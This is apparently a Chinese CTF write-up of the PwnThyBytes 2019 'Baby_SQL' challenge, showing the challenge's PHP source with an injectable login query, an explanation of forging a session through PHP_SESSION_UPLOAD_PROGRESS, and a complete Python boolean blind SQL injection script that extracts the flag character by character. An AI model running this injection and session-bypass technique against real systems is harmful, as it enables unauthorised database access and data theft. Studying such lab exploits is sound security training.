[PwnThyBytes 2019]Baby_SQL - 代码审计+布尔盲注+SESSION_UPLOAD_PROGRESS利用

news/2024/5/19 21:26:28 标签: 数据库, web安全, 安全, ctf, php, sql注入, 代码审计

[PwnThyBytes 2019]Baby_SQL

  • 1 解题流程
    • 1.1 分析
    • 1.2 解题
  • 2 思考总结

1

1 解题流程

1.1 分析

此题参考文章:浅谈 SESSION_UPLOAD_PROGRESS 的利用

  1. 访问正常来讲用ctf-wscan是能扫出source.zip文件的,且F12后提示了有source.zip,那我们就下载source.zip
    index.php
    php">	<?php
    	session_start();
    	foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
    	foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
    	foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
    	foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
    	
    	function filter($value){
    	    !is_string($value) AND die("Hacking attempt!");
    	    return addslashes($value);
    	}
    	
    	isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
    	isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
    	isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
    	?>
    
    login.php
    php"><?php
    	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
    	include 'db.php';
    	
    	$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
    	$result = $con->query($sql);
    	
    	function auth($user){
    	    $_SESSION['username'] = $user;
    	    return True;
    	}
    	
    	($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
    ?>
    
    register.php
    php"><?php
    	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
    	include 'db.php';
    	
    	(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
    	
    	$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
    	($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
    ?>
    
  2. 简单的分析一下:
    1、index.php中,开启了session,我们通过任何方式的传参都会经过过滤函数
      过滤函数:参数值必须是字符串,其次是通过addslashes函数过滤
    2、login.php,存在sql语句,并写了数据库是ptbctf,密码通过MD5的形式校验
    3、register.php,用户名不允许是admin,且长度要6<=length<=10
    4、看到addslashes函数让我想到了sprintf格式化漏洞和宽字节漏洞,但由于没有sprintf所以第一个情况排除,我自己尝试了第二个情况发现也不行。所以我们考虑其他方法
    5、在主页进行login会被过滤,那么我们直接去templates/login.php呢?没错,这里我们能直接注入,但是最关键的就是一旦没有session,就不让正常访问该php
      所以这里就涉及到了 SESSION_UPLOAD_PROGRESS
      我们可以利用PHP_SESSION_UPLOAD_PROGRESS在目标服务器上初始化一个session,然后便可以绕过index.php中的检测
  3. session是如何生成的?PHP_SESSION_UPLOAD_PROGRESS怎么利用?【下面简单讲,开头引用的文章是很详细的】
    假设我们通过配置文件分析:
    1、已知session文件存储在session.save_path
    2、session.upload_progress.enabled 选项开启时,同时POST一个session.upload_progress.name同名变量,PHP检测到时,Session文件将会自动创建,我们访问网站就会附带sessoin值,以此绕过login.php的session校验

1.2 解题

脚本如下:

import io
import requests

url = 'http://node4.anna.nssctf.cn:28440/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "473"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

2 思考总结

哎哟不错哦~
通过此题,我对SESSION_UPLOAD_PROGRESS利用的理解更深入了。


http://www.niftyadmin.cn/n/5077968.html

相关文章

Debezium日常分享系列之:Debezium 2.3.0.Final发布

Debezium日常分享系列之&#xff1a;Debezium 2.3.0.Final发布 一、重大改变二、PostgreSQL / MySQL 安全连接更改三、JDBC 存储编码更改四、新功能和改进五、Kubernetes 的 Debezium Server Operator六、新的通知子系统七、新的可扩展信号子系统八、JMX 信号和通知集成九、新的…

ShardingSphereJDBC5.4.0支持Nacos配置(SpringCloud版)

背景 在ShardingSphere在5.3.0版本之前&#xff0c;我们可以通过依赖shardingsphere-jdbc-core-spring-boot-starter模块&#xff0c;在application.yml文件里配置数据库连接信息。再结合spring-cloud-starter-alibaba-nacos-config&#xff0c;在项目启动时&#xff0c;从Nac…

《Unity Shader入门精要》笔记05

Unity中的基础光照 在UnityShader中实现漫反射光照模型逐顶点光照逐像素光照半兰伯特模型 在Unity Shader中实现高光反射光照模型逐顶点光照逐像素光照Blinn-Phong光照模型 召唤神龙&#xff1a;使用Unity内置的函数 在UnityShader中实现漫反射光照模型 漫反射计算公式 &…

在宝塔面板环境下安装nps服务端

在宝塔面板环境下安装nps服务端 一、所需环境二、开始安装三、打开nps控制台四、更改默认账号密码和连接秘钥五、反向代理挂载SSL证书 一、所需环境 阿里云轻应用服务器&#xff08;选择宝塔应用镜像&#xff09;域名&#xff08;最好也是阿里注册的域名&#xff09;对应的ssl…

智安网络|边缘计算与分布式存储:数字化时代的新趋势

随着数字化时代的到来&#xff0c;数据的产生和存储需求呈现爆炸式增长&#xff0c;传统的集中式存储架构已经无法满足大规模数据存储和处理的需求。分布式存储系统应运而生&#xff0c;成为应对数据存储和处理挑战的解决方案。然而&#xff0c;技术的发展不会止步于此&#xf…

2023-10-10 python-读取txt文件中的约定格式的数据-记录

摘要: 2023-10-10 python-读取文件中的约定格式的数据-记录 txt文件中的内容: [0196]=255,233,233 [0197]=252,221,221 [0198]=249,208,208 [0199]=247,196,196 [0200]=244,183,183 [0201]=241,171,171 [0202]=238,158,158 [0203]=235,146,146 读取内容的代码: def read_color…

二维数组多次排序 或 嵌套list多次排序

可以排序int[ ][ ]的顺序&#xff0c;也可以排序List<List<Integer>> 顺序 为便于理解&#xff0c;以力扣原题为例&#xff1a;1333.餐厅过滤器 原题中给了一个双重数组&#xff0c;并要求返回一个List<Integer>。 方法1&#xff1a; 会用流的&#xff0c…

预测性维护:优化设备维护的未来趋势

随着技术的迅猛发展&#xff0c;预测性维护作为一项重要的策略&#xff0c;正在逐渐改变现代工业的维护方式。通过结合传感器技术和先进的数据分析&#xff0c;预测性维护能够利用实时数据流和历史数据分析&#xff0c;提前预测设备和资产的潜在故障。其目标是及早发现故障迹象…